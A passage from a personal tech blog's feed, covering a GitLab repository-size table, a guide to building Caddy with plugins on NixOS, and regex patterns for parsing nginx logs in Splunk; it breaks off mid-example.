to end_page inclusive</span>  <span class="hljs-keyword">for</span> ((i=start_page; i&lt;=end_page; i++)); <span class="hljs-keyword">do</span>    delete <span class="hljs-variable">$i</span>  <span class="hljs-keyword">done</span>  <span class="hljs-comment"># return</span>  <span class="hljs-built_in">exit</span> 0&#125;main <span class="hljs-variable">$@</span></code></pre><h2 id="before-after">Before &amp; after <a href="#before-after" class="headerlink" title="Before &amp; after">§</a></h2><table><thead><tr><th>Project</th><th>Before</th><th>After</th><th>Runtime</th></tr></thead><tbody><tr><td><a href="https://gitlab.com/malware-filter/malware-filter">malware-filter</a> (project)</td><td>15.12 GB</td><td>6.3 GB</td><td>46m 15s</td></tr><tr><td><a href="https://gitlab.com/malware-filter/phishing-filter">phishing-filter</a></td><td>6.02 GB</td><td>949 MB</td><td>1h 35m 17s</td></tr><tr><td><a href="https://gitlab.com/malware-filter/pup-filter">pup-filter</a></td><td>1.16 GB</td><td>480.4 MB</td><td>57m 45s</td></tr><tr><td><a href="https://gitlab.com/malware-filter/tracking-filter">tracking-filter</a></td><td>106.68 MB</td><td>105.3 MB</td><td>4m 38s</td></tr><tr><td><a href="https://gitlab.com/malware-filter/urlhaus-filter">urlhaus-filter</a></td><td>2.64 GB</td><td>908 MB</td><td>1h 50m 19s</td></tr><tr><td><a href="https://gitlab.com/malware-filter/vn-badsite-filter">vn-badsite-filter</a></td><td>283.12 MB</td><td>114.8 MB</td><td>19m 52s</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">Use this script to unlock a repository that has exceeded the 5 GB usage quota</summary>
    
    
    
    <category term="gitlab" scheme="https://mdleom.com/tags/gitlab/"/>
    
  </entry>
  
  <entry>
    <title>Installing Caddy plugins in NixOS</title>
    <link href="https://mdleom.com/blog/2021/12/27/caddy-plugins-nixos/"/>
    <id>https://mdleom.com/blog/2021/12/27/caddy-plugins-nixos/</id>
    <published>2021-12-27T00:00:00.000Z</published>
    <updated>2023-02-26T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="#custom-package">Previous method</a> no longer works on 22.11. Refer to <a href="#xcaddy">xcaddy</a> section instead.</p></blockquote><p>Caddy, like any other web servers, is extensible through plugins. Plugin is usually installed using <a href="https://github.com/caddyserver/xcaddy">xcaddy</a>; using it is as easy as <code>$ xcaddy build --with github.com/caddyserver/ntlm-transport</code> to build the latest caddy binary with <a href="https://github.com/caddyserver/ntlm-transport">ntlm-transport</a> plugin.</p><p>NixOS has its <a href="https://nixos.org/manual/nixpkgs/stable/#sec-language-go">own way</a> of building Go package (Caddy is written in Go), so using xcaddy may be counterintuitive. The <em>Nix</em>-way to go is to build a custom package using a “*.nix” file and instruct the service (also known as a <em>module</em> in Nix ecosystem) to use that package instead of the repo’s.</p><p>In NixOS, the Caddy module has long included <a href="https://search.nixos.org/options?channel=21.11&show=services.caddy.package&from=0&size=50&sort=relevance&type=packages&query=caddy"><code>services.caddy.package</code></a> option to specify custom package. It was primarily used as a way to install Caddy 2 from the unstable channel (<code>unstable.caddy</code>) because the package in stable channel (<code>pkgs.caddy</code>) of NixOS 20.03 is still Caddy 1. I talked about that option in a <a href="/blog/2020/05/24/caddy-v2-nixos/" title="Running Caddy 2 in NixOS 20.03">previous post</a>.</p><p>Aside from installing Caddy from different channel, that option can also be used to specify a custom package by using <a href="https://nixos.org/guides/nix-pills/callpackage-design-pattern.html"><code>pkgs.callPackage</code></a>. I <a href="/blog/2021/07/02/custom-package-nixos-module/" title="Using custom package in a NixOS module">previously used</a> <code>callPackage</code> as a workaround to install cloudflared in an IPv6-only instance from a repository other than GitHub because GitHub doesn’t support IPv6 yet.</p><p>If a custom package is defined in “&#x2F;etc&#x2F;caddy&#x2F;custom-package.nix”, then the configuration will be:</p><pre><div class="caption"><span>/etc/nixos/configuration.nix</span></div><code class="hljs nix">s<span class="hljs-attr">ervices.caddy</span> <span class="hljs-operator">=</span> &#123;  <span class="hljs-attr">enable</span> <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;  <span class="hljs-attr">package</span> <span class="hljs-operator">=</span> pkgs.callPackage <span class="hljs-symbol">/etc/caddy/custom-package.nix</span> &#123; &#125;;&#125;;</code></pre><h2 id="custom-package">Custom package <a href="#custom-package" class="headerlink" title="Custom package">§</a></h2><p>The following package patches the “<a href="https://github.com/caddyserver/caddy/blob/master/cmd/main.go">main.go</a>“ file of the upstream source to insert additional plugins. The code snippet is courtesy of <a href="https://github.com/diamondburned">@diamondburned</a>. The marked lines show how plugins are specified through the <code>plugins</code> option.</p><pre><div class="caption"><span>/etc/caddy/custom-package.nix</span><a href="https://github.com/NixOS/nixpkgs/issues/89268#issuecomment-636529668">source</a></div><code class="hljs nix">&#123; lib, buildGoModule, fetchFromGitHub, plugins <span class="hljs-operator">?</span> [], vendorSha256 <span class="hljs-operator">?</span> <span class="hljs-string">&quot;&quot;</span> &#125;:<span class="hljs-keyword">with</span> lib;<mark><span class="hljs-keyword">let</span> imports <span class="hljs-operator">=</span> flip concatMapStrings plugins (<span class="hljs-params">pkg:</span> <span class="hljs-string">&quot;<span class="hljs-char escape_">\t</span><span class="hljs-char escape_">\t</span><span class="hljs-char escape_">\t</span>_ <span class="hljs-char escape_">\&quot;</span><span class="hljs-subst">$&#123;pkg&#125;</span><span class="hljs-char escape_">\&quot;</span><span class="hljs-char escape_">\n</span>&quot;</span>);</mark>  <span class="hljs-attr">main</span> <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-string">    package main</span><span class="hljs-string"></span><span class="hljs-string">    import (</span><span class="hljs-string">      caddycmd &quot;github.com/caddyserver/caddy/v2/cmd&quot;</span><span class="hljs-string"></span><span class="hljs-string">      _ &quot;github.com/caddyserver/caddy/v2/modules/standard&quot;</span><mark><span class="hljs-string"><span class="hljs-subst">$&#123;imports&#125;</span></span></mark><span class="hljs-string">    )</span><span class="hljs-string"></span><span class="hljs-string">    func main() &#123;</span><span class="hljs-string">      caddycmd.Main()</span><span class="hljs-string">    &#125;</span><span class="hljs-string">  &#x27;&#x27;</span>;<span class="hljs-keyword">in</span> buildGoModule <span class="hljs-keyword">rec</span> &#123;  <span class="hljs-attr">pname</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;caddy&quot;</span>;  <span class="hljs-attr">version</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;2.4.6&quot;</span>;  <span class="hljs-attr">subPackages</span> <span class="hljs-operator">=</span> [ <span class="hljs-string">&quot;cmd/caddy&quot;</span> ];  <span class="hljs-attr">src</span> <span class="hljs-operator">=</span> fetchFromGitHub &#123;    <span class="hljs-attr">owner</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;caddyserver&quot;</span>;    <span class="hljs-attr">repo</span> <span class="hljs-operator">=</span> pname;    <span class="hljs-comment"># https://github.com/NixOS/nixpkgs/blob/nixos-21.11/pkgs/servers/caddy/default.nix</span>    <span class="hljs-attr">rev</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;v<span class="hljs-subst">$&#123;version&#125;</span>&quot;</span>;    <span class="hljs-attr">sha256</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;sha256-xNCxzoNpXkj8WF9+kYJfO18ux8/OhxygkGjA49+Q4vY=&quot;</span>;  &#125;;  <span class="hljs-keyword">inherit</span> vendorSha256;  <span class="hljs-attr">overrideModAttrs</span> <span class="hljs-operator">=</span> (<span class="hljs-params">_:</span> &#123;    <span class="hljs-attr">preBuild</span>    <span class="hljs-operator">=</span> <span class="hljs-string">&quot;echo &#x27;<span class="hljs-subst">$&#123;main&#125;</span>&#x27; &gt; cmd/caddy/main.go&quot;</span>;    <span class="hljs-attr">postInstall</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;cp go.sum go.mod $out/ &amp;&amp; ls $out/&quot;</span>;  &#125;);  <span class="hljs-attr">postPatch</span> <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-string">    echo &#x27;<span class="hljs-subst">$&#123;main&#125;</span>&#x27; &gt; cmd/caddy/main.go</span><span class="hljs-string">    cat cmd/caddy/main.go</span><span class="hljs-string">  &#x27;&#x27;</span>;  <span class="hljs-attr">postConfigure</span> <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-string">    cp vendor/go.sum ./</span><span class="hljs-string">    cp vendor/go.mod ./</span><span class="hljs-string">  &#x27;&#x27;</span>;  <span class="hljs-attr">meta</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">with</span> lib; &#123;    <span class="hljs-attr">homepage</span> <span class="hljs-operator">=</span> https:<span class="hljs-symbol">//caddyserver.com</span>;    <span class="hljs-attr">description</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;Fast, cross-platform HTTP/2 web server with automatic HTTPS&quot;</span>;    <span class="hljs-attr">license</span> <span class="hljs-operator">=</span> licenses.asl20;    <span class="hljs-attr">maintainers</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">with</span> maintainers; [ rushmorem fpletz zimbatm ];  &#125;;&#125;</code></pre><h3 id="install-custom-package">Install custom package <a href="#install-custom-package" class="headerlink" title="Install custom package">§</a></h3><p>Specify the desired plugins in <code>services.caddy.package.plugins</code>:</p><pre><div class="caption"><span>/etc/nixos/configuration.nix</span></div><code class="hljs nix">s<span class="hljs-attr">ervices.caddy</span> <span class="hljs-operator">=</span> &#123;  <span class="hljs-attr">enable</span> <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;  <span class="hljs-attr">package</span> <span class="hljs-operator">=</span> (pkgs.callPackage <span class="hljs-symbol">/etc/caddy/custom-package.nix</span> &#123;    <span class="hljs-attr">plugins</span> <span class="hljs-operator">=</span> [      <span class="hljs-string">&quot;github.com/caddyserver/ntlm-transport&quot;</span>      <span class="hljs-string">&quot;github.com/caddyserver/forwardproxy&quot;</span>    ];    <span class="hljs-attr">vendorSha256</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;0000000000000000000000000000000000000000000000000000&quot;</span>;  &#125;);&#125;;</code></pre><p>The above example will install ntlm-transport and <a href="https://github.com/caddyserver/forwardproxy">forwardproxy</a> plugins. The first run of <code>nixos-rebuild</code> will fail due to mismatched <code>vendorSha256</code>, simply replace the “000…” with the expected value and the second run should be ok.</p><h2 id="xcaddy">xcaddy <a href="#xcaddy" class="headerlink" title="xcaddy">§</a></h2><h3 id="nix-sandbox">Nix sandbox <a href="#nix-sandbox" class="headerlink" title="Nix sandbox">§</a></h3><p>Since the Nix-way of building custom caddy plugins no longer works in 22.11, I resort to the <em>caddy</em>-way instead, by using <a href="https://github.com/caddyserver/xcaddy">xcaddy</a>. The implication of using xcaddy is that Nix sandbox can no longer be enabled because the sandbox does not even allow network access. Nix sandbox is enabled by default in NixOS, to disable:</p><pre><div class="caption"><span>/etc/nixox/configuration.nix</span></div><code class="hljs nix">n<span class="hljs-attr">ix.settings.sandbox</span> <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;</code></pre><p>Then run <code>sudo nixos-rebuild switch</code> to apply the config. Verify the generated config in <code>/etc/nix/nix.conf</code>.</p><p><a href="https://nixos.wiki/wiki/Nix_package_manager#Sandboxing">Nix sandbox</a> is not a security feature, rather it is used to provide reproducibility, its fundamental feature. When enabled, each build will run in an isolated environment not affected by the system configuration. This feature is essential when contributing to <a href="https://github.com/NixOS/nixpkgs">Nixpkgs</a> to ensure that a successful build does not depend on the contributor’s system configuration. For example, all dependencies should be declared even when the contributor’s system already installed all or some beforehand; a build will fail if there is any undeclared dependency.</p><h3 id="build-custom-plugins-with-xcaddy">Build custom plugins with xcaddy <a href="#build-custom-plugins-with-xcaddy" class="headerlink" title="Build custom plugins with xcaddy">§</a></h3><p>The following package will always use the <a href="https://github.com/caddyserver/caddy/releases/latest"><code>latest</code></a> caddy release.</p><pre><div class="caption"><span>/etc/caddy/custom-package.nix</span><a href="https://discourse.nixos.org/t/build-caddy-with-modules-in-devenv-shell/25125/4">source</a></div><code class="hljs nix">&#123; pkgs, config, plugins, ... &#125;:<span class="hljs-keyword">with</span> pkgs;stdenv.mkDerivation <span class="hljs-keyword">rec</span> &#123;  <span class="hljs-attr">pname</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;caddy&quot;</span>;<mark>  <span class="hljs-comment"># https://github.com/NixOS/nixpkgs/issues/113520</span></mark>  <span class="hljs-attr">version</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;latest&quot;</span>;  <span class="hljs-attr">dontUnpack</span> <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;  <span class="hljs-attr">nativeBuildInputs</span> <span class="hljs-operator">=</span> [ git go xcaddy ];  <span class="hljs-attr">configurePhase</span> <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-string">    export GOCACHE=$TMPDIR/go-cache</span><span class="hljs-string">    export GOPATH=&quot;$TMPDIR/go&quot;</span><span class="hljs-string">  &#x27;&#x27;</span>;  <span class="hljs-attr">buildPhase</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">let</span>    <span class="hljs-attr">pluginArgs</span> <span class="hljs-operator">=</span> lib.concatMapStringsSep <span class="hljs-string">&quot; &quot;</span> (<span class="hljs-params">plugin:</span> <span class="hljs-string">&quot;--with <span class="hljs-subst">$&#123;plugin&#125;</span>&quot;</span>) plugins;  <span class="hljs-keyword">in</span> <span class="hljs-string">&#x27;&#x27;</span><mark><span class="hljs-string">    runHook preBuild</span></mark><span class="hljs-string">    <span class="hljs-subst">$&#123;xcaddy&#125;</span>/bin/xcaddy build latest <span class="hljs-subst">$&#123;pluginArgs&#125;</span></span><span class="hljs-string">    runHook postBuild</span><span class="hljs-string">  &#x27;&#x27;</span>;  <span class="hljs-attr">installPhase</span> <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-string">    runHook preInstall</span><span class="hljs-string">    mkdir -p $out/bin</span><span class="hljs-string">    mv caddy $out/bin</span><span class="hljs-string">    runHook postInstall</span><span class="hljs-string">  &#x27;&#x27;</span>;&#125;</code></pre><p>If you prefer to specify a version, modify the following lines:</p><pre><code class="hljs nix"><span class="hljs-comment"># line 7</span>v<span class="hljs-attr">ersion</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;2.6.4&quot;</span>;<span class="hljs-comment"># line 12</span>$&#123;xcaddy&#125;<span class="hljs-symbol">/bin/xcaddy</span> build <span class="hljs-string">&quot;v<span class="hljs-subst">$&#123;version&#125;</span>&quot;</span> $&#123;pluginArgs&#125;</code></pre><p>To install the above package, use the same config shown in the <a href="#install-custom-package">Install custom package</a> but remove the <code>vendorSha256</code> line. Remember to <code>nixos-rebuild</code> again.</p>]]></content>
    
    
    <summary type="html">By using custom package</summary>
    
    
    
    <category term="caddy" scheme="https://mdleom.com/tags/caddy/"/>
    
    <category term="nixos" scheme="https://mdleom.com/tags/nixos/"/>
    
  </entry>
  
  <entry>
    <title>Parsing NGINX log in Splunk</title>
    <link href="https://mdleom.com/blog/2021/12/25/nginx-splunk-field-extractor/"/>
    <id>https://mdleom.com/blog/2021/12/25/nginx-splunk-field-extractor/</id>
    <published>2021-12-25T00:00:00.000Z</published>
    <updated>2021-12-25T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>For web server’s access log, Splunk has built-in support for Apache only. Splunk has a feature called field extractor. It is powered by delimiter and regex, and enables user to add new <a href="https://docs.splunk.com/Documentation/Splunk/8.2.3/Knowledge/Aboutfields"><em>fields</em></a> to be used in a search query. This post will only covers the regex patterns to parse nginx log, for instruction on field extractor, I recommend perusing the <a href="https://docs.splunk.com/Documentation/Splunk/8.2.3/Knowledge/ExtractfieldsinteractivelywithIFX">official documentation</a>.</p><p>To illustrate, say we have a log format like this:</p><pre><code class="hljs plaintext">&#123;id&#125; &quot;&#123;http.request.host&#125;&quot; &quot;&#123;http.request.header.user-agent&#125;&quot;</code></pre><p>An example log is:</p><pre><code class="hljs plaintext">123 &quot;example.com&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0&quot;</code></pre><p>While you could search for a specific keyword, e.g. attempts of <a href="/blog/2021/12/17/log4shell-log4j-unbound-dns/" title="Check Log4Shell vulnerability using Unbound DNS server">Log4shell exploit</a>, since there are no fields, you cannot run any statistics like <a href="https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Table"><code>table</code></a> or <a href="https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/stats"><code>stats</code></a> on the search results.</p><p>Splunk is able to understand Apache log format because its field extractor already includes the necessary regex patterns to parse the relevant fields of each line in a log. Choosing a source type is equivalent of choosing a log format. If a format is not listed in <a href="https://docs.splunk.com/Documentation/Splunk/8.2.3/Data/Listofpretrainedsourcetypes">the default list</a>, we can either use an add-on or create new fields using field extractor. There is a Splunk <a href="https://docs.splunk.com/Documentation/AddOns/latest/NGINX">add-on</a> for nginx and I suggest to try it before resorting to field extractor.</p><p>I create five patterns which cover most of the nginx events I encountered during my work. Refer to the documentation for <a href="https://docs.splunk.com/Documentation/Splunk/8.2.3/Knowledge/AboutSplunkregularexpressions">supported syntax</a>.</p><p>A field is extracted through “capturing group”.</p><pre><code class="hljs plaintext">(?&lt;field_name&gt;capture pattern)</code></pre><p>For example, <code>(?&lt;month&gt;\w+)</code> searches for one or more (<code>+</code>) alphanumeric characters (<code>\w</code>) and names the field as <code>month</code>. I opted for lazier matching, mostly using unbounded quantifier <code>+</code> instead of a stricter range of occurrences <code>&#123;M,N&#125;</code> despite knowing the exact pattern of a field. I found some fields may stray off slightly from the expected pattern, so a lazier matching tends match more events without matching unwanted’s.</p><h2 id="web-request">Web request <a href="#web-request" class="headerlink" title="Web request">§</a></h2><h3 id="regex">Regex <a href="#regex" class="headerlink" title="Regex">§</a></h3><pre><code class="hljs plaintext">(?&lt;month&gt;\w+)\s+(?&lt;day&gt;\d+)\s(?&lt;time&gt;[\d\:]+)\s(?&lt;proxy_ip&gt;[\d\.]+)(?:\snginx\:\s)(?&lt;remote_ip&gt;[\d\.]+)(?:\s\d+\s\S+\s\S+\s)\[(?&lt;time_local&gt;\S+)\s(?&lt;timezone&gt;\+\d&#123;4&#125;)\]\s&quot;(?&lt;http_method&gt;\w+)\s(?&lt;http_path&gt;.+)\s(?&lt;http_version&gt;HTTP/\d\.\d)&quot;\s(?&lt;http_status&gt;\d&#123;3&#125;)\s(?:\d+)\s&quot;(?&lt;request_url&gt;.[^&quot;]*)&quot;\s&quot;(?&lt;http_user_agent&gt;.[^&quot;]*)&quot;\s(?&lt;server_ip&gt;[\d\.]+)\:(?&lt;server_port&gt;\d+)(?:\s\d+\s\d+\s)(?&lt;ssl_version&gt;\S+)\s(?&lt;ssl_cipher&gt;\S+)\s(?&lt;http_cookie&gt;\S+)</code></pre><h3 id="event">Event <a href="#event" class="headerlink" title="Event">§</a></h3><pre><code class="hljs plaintext">Dec 24 01:23:45 192.168.0.2 nginx: 1.2.3.4 55763 - - [24/Dec/2021:01:23:45 +0000] &quot;GET /page.html HTTP/2.0&quot; 200 494 &quot;https://www.example.com&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0&quot; 192.168.1.2:8080 123 4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 abcdef .</code></pre><h3 id="fields">Fields <a href="#fields" class="headerlink" title="Fields">§</a></h3><table><thead><tr><th>Field</th><th>Value</th><th>Regex</th><th>Explanation</th></tr></thead><tbody><tr><td>month</td><td>Dec</td><td><code>(?&lt;month&gt;\w+)</code></td><td>One or more alphanumeric</td></tr><tr><td>day</td><td>24</td><td><code>(?&lt;day&gt;\d+)</code></td><td>One or more digit</td></tr><tr><td>time</td><td>01:23:45</td><td><code>(?&lt;time&gt;[\d\:]+)</code></td><td>One or more digit or semicolon</td></tr><tr><td>proxy_ip</td><td>192.168.0.2</td><td><code>(?&lt;proxy_ip&gt;[\d\.]+)</code></td><td>One or more digit or dot</td></tr><tr><td>remote_ip</td><td>1.2.3.4</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>time_local</td><td>24&#x2F;Dec&#x2F;2021:01:23:45</td><td><code>(?&lt;time_local&gt;\S+)</code></td><td>One or more non-whitespace characters</td></tr><tr><td>timezone</td><td>+0000</td><td><code>(?&lt;timezone&gt;[\+\-]\d&#123;4&#125;)</code></td><td>Four digits with plus or minus prefix</td></tr><tr><td>http_method</td><td>GET</td><td><code>(?&lt;http_method&gt;\w+)</code></td><td></td></tr><tr><td>http_path</td><td>&#x2F;page.html</td><td><code>(?&lt;http_path&gt;.+)</code></td><td>One or more of any character</td></tr><tr><td>http_version</td><td>HTTP&#x2F;2.0</td><td><code>(?&lt;http_version&gt;HTTP/\d\.\d)</code></td><td>“HTTP”, a digit, dot and digit</td></tr><tr><td>http_status</td><td>200</td><td><code>(?&lt;http_status&gt;\d&#123;3&#125;)</code></td><td>Three digits</td></tr><tr><td>request_url</td><td><a href="https://www.example.com/">https://www.example.com</a></td><td><code>(?&lt;request_url&gt;.[^&quot;]*)</code></td><td>Zero or more of any character except double quote</td></tr><tr><td>http_user_agent</td><td>Mozilla&#x2F;5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko&#x2F;20100101 Firefox&#x2F;95.0</td><td><code>(?&lt;http_user_agent&gt;.[^&quot;]*)</code></td><td></td></tr><tr><td>server_ip</td><td>192.168.1.2</td><td><code>(?&lt;server_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>server_port</td><td>8080</td><td><code>(?&lt;server_port&gt;\d+)</code></td><td></td></tr><tr><td>ssl_version</td><td>TLSv1.2</td><td><code>(?&lt;ssl_version&gt;\S+)</code></td><td></td></tr><tr><td>ssl_cipher</td><td>ECDHE-RSA-AES128-GCM-SHA256</td><td><code>(?&lt;ssl_cipher&gt;\S+)</code></td><td></td></tr><tr><td>http_cookie</td><td>abcdef</td><td><code>(?&lt;http_cookie&gt;\S+)</code></td><td></td></tr></tbody></table><p>nginx is configured as a reverse proxy, <code>proxy_ip</code> is its ip whereas <code>server_ip</code> is the upstream’s.</p><h2 id="proxy-request">Proxy request <a href="#proxy-request" class="headerlink" title="Proxy request">§</a></h2><h3 id="regex-1">Regex <a href="#regex-1" class="headerlink" title="Regex">§</a></h3><pre><code class="hljs plaintext">(?&lt;month&gt;\w+)\s+(?&lt;day&gt;\d+)\s(?&lt;time&gt;[\d\:]+)\s(?&lt;proxy_ip&gt;[\d\.]+)(?:\snginx\:\s)(?&lt;year&gt;\d&#123;4&#125;)\/(?&lt;nmonth&gt;\d&#123;2&#125;)(?:\/\d&#123;2&#125;\s[\d\:]+\s)\[(?&lt;log_level&gt;\w+)\](?:\s\d+#\d+\:\s\*\d+\sclient\s)(?&lt;remote_ip&gt;[\d\.]+)\:(?&lt;remote_port&gt;\d+)(?:\sconnected\sto\s)(?&lt;server_ip&gt;[\d\.]+)\:(?&lt;server_port&gt;\d+)</code></pre><h3 id="event-1">Event <a href="#event-1" class="headerlink" title="Event">§</a></h3><pre><code class="hljs plaintext">Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [info] 1776#1776:*114333142 client 1.2.3.4:19802 connected to 192.168.1.2:8080</code></pre><h3 id="fields-1">Fields <a href="#fields-1" class="headerlink" title="Fields">§</a></h3><table><thead><tr><th>Field</th><th>Value</th><th>Regex</th><th>Explanation</th></tr></thead><tbody><tr><td>month</td><td>Dec</td><td><code>(?&lt;month&gt;\w+)</code></td><td></td></tr><tr><td>day</td><td>24</td><td><code>(?&lt;day&gt;\d+)</code></td><td></td></tr><tr><td>time</td><td>01:23:45</td><td><code>(?&lt;time&gt;[\d\:]+)</code></td><td></td></tr><tr><td>proxy_ip</td><td>192.168.0.2</td><td><code>(?&lt;proxy_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>year</td><td>2021</td><td><code>(?&lt;year&gt;\d&#123;4&#125;)</code></td><td></td></tr><tr><td>nmonth</td><td>12</td><td><code>(?&lt;nmonth&gt;\d&#123;2&#125;)</code></td><td></td></tr><tr><td>log_level</td><td>info</td><td><code>(?&lt;log_level&gt;\w+)</code></td><td></td></tr><tr><td>remote_ip</td><td>1.2.3.4</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>remote_port</td><td>19802</td><td><code>(?&lt;remote_port&gt;\d+)</code></td><td></td></tr><tr><td>server_ip</td><td>192.168.1.2</td><td><code>(?&lt;server_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>server_port</td><td>8080</td><td><code>(?&lt;server_port&gt;\d+)</code></td><td></td></tr></tbody></table><h2 id="upstream-error-response">Upstream error response <a href="#upstream-error-response" class="headerlink" title="Upstream error response">§</a></h2><h3 id="regex-2">Regex <a href="#regex-2" class="headerlink" title="Regex">§</a></h3><pre><code class="hljs plaintext">(?&lt;month&gt;\w+)\s+(?&lt;day&gt;\d+)\s(?&lt;time&gt;[\d\:]+)\s(?&lt;proxy_ip&gt;[\d\.]+)(?:\snginx\:\s)(?&lt;year&gt;\d&#123;4&#125;)\/(?&lt;nmonth&gt;\d&#123;2&#125;)(?:\/\d&#123;2&#125;\s[\d\:]+\s)\[(?&lt;log_level&gt;\w+)\](?:\s\d+#\d+\:\s\*\d+\s)(?&lt;upstream_error&gt;.[^,]*)(?:,\sclient\:\s)(?&lt;remote_ip&gt;[\d\.]+)(?:,\sserver\:\s)(?&lt;server_host&gt;.[^,]*)(?:,\srequest\:\s&quot;)(?&lt;http_method&gt;\w+)\s(?&lt;http_path&gt;\S+)\s(?&lt;http_version&gt;HTTP/\d\.\d)(?:&quot;,\supstream\:\s&quot;)(?&lt;upstream_url&gt;.[^&quot;]*)&quot;,\shost\:\s&quot;(?&lt;upstream_host&gt;.[^&quot;]*)</code></pre><h3 id="event-2">Event <a href="#event-2" class="headerlink" title="Event">§</a></h3><pre><code class="hljs plaintext">Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [error] 1776#1776:*71197740 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 1.2.3.4, server: example.com, request: &quot;POST /api/path HTTP/2.0&quot;,upstream: &quot;http://192.168.1.2:8080/api/path&quot;, host:&quot;example.com&quot;</code></pre><h3 id="fields-2">Fields <a href="#fields-2" class="headerlink" title="Fields">§</a></h3><table><thead><tr><th>Field</th><th>Value</th><th>Regex</th><th>Explanation</th></tr></thead><tbody><tr><td>month</td><td>Dec</td><td><code>(?&lt;month&gt;\w+)</code></td><td></td></tr><tr><td>day</td><td>24</td><td><code>(?&lt;day&gt;\d+)</code></td><td></td></tr><tr><td>time</td><td>01:23:45</td><td><code>(?&lt;time&gt;[\d\:]+)</code></td><td></td></tr><tr><td>proxy_ip</td><td>192.168.0.2</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>year</td><td>2021</td><td><code>(?&lt;year&gt;\d&#123;4&#125;)</code></td><td></td></tr><tr><td>nmonth</td><td>12</td><td><code>(?&lt;nmonth&gt;\d&#123;2&#125;)</code></td><td></td></tr><tr><td>log_level</td><td>error</td><td><code>(?&lt;log_level&gt;\w+)</code></td><td></td></tr><tr><td>upstream_error</td><td>upstream timed out (110: Connection timed out) while reading response header from upstream</td><td><code>(?&lt;upstream_error&gt;.[^,]*)</code></td><td>Zero or more of any character except comma</td></tr><tr><td>remote_ip</td><td>1.2.3.4</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>server_host</td><td>example.com</td><td><code>(?&lt;server_host&gt;.[^,]*)</code></td><td></td></tr><tr><td>http_method</td><td>POST</td><td><code>(?&lt;http_method&gt;\w+)</code></td><td></td></tr><tr><td>http_path</td><td>&#x2F;api&#x2F;path</td><td><code>(?&lt;http_path&gt;\S+)</code></td><td></td></tr><tr><td>http_version</td><td>HTTP&#x2F;2.0</td><td><code>(?&lt;http_version&gt;HTTP/\d\.\d)</code></td><td></td></tr><tr><td>upstream_url</td><td><a href="http://192.168.1.2:8080/api/path">http://192.168.1.2:8080/api/path</a></td><td><code>(?&lt;upstream_url&gt;.[^&quot;]*)</code></td><td></td></tr><tr><td>upstream_host</td><td>example.com</td><td><code>(?&lt;upstream_host&gt;.[^&quot;]*)</code></td><td></td></tr></tbody></table><h2 id="upstream-epoll-error">Upstream epoll error <a href="#upstream-epoll-error" class="headerlink" title="Upstream epoll error">§</a></h2><h3 id="regex-3">Regex <a href="#regex-3" class="headerlink" title="Regex">§</a></h3><pre><code class="hljs plaintext">(?&lt;month&gt;\w+)\s+(?&lt;day&gt;\d+)\s(?&lt;time&gt;[\d\:]+)\s(?&lt;proxy_ip&gt;[\d\.]+)(?:\snginx\:\s)(?&lt;year&gt;\d&#123;4&#125;)\/(?&lt;nmonth&gt;\d&#123;2&#125;)(?:\/\d&#123;2&#125;\s[\d\:]+\s)\[(?&lt;log_level&gt;\w+)\](?:\s\d+#\d+\:\s\*\d+\s)(?&lt;upstream_error&gt;[^,]*,[^,]*)(?:,\sclient\:\s)(?&lt;remote_ip&gt;[\d\.]+)(?:,\sserver\:\s)(?&lt;server_host&gt;.[^,]*)(?:,\srequest\:\s&quot;)(?&lt;http_method&gt;\w+)\s(?&lt;http_path&gt;\S+)\s(?&lt;http_version&gt;HTTP/\d\.\d)(?:&quot;,\supstream\:\s&quot;)(?&lt;upstream_url&gt;.[^&quot;]*)(?:&quot;,\shost\:\s&quot;)(?&lt;upstream_host&gt;.[^&quot;]*)</code></pre><h3 id="event-3">Event <a href="#event-3" class="headerlink" title="Event">§</a></h3><pre><code class="hljs plaintext">Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [info] 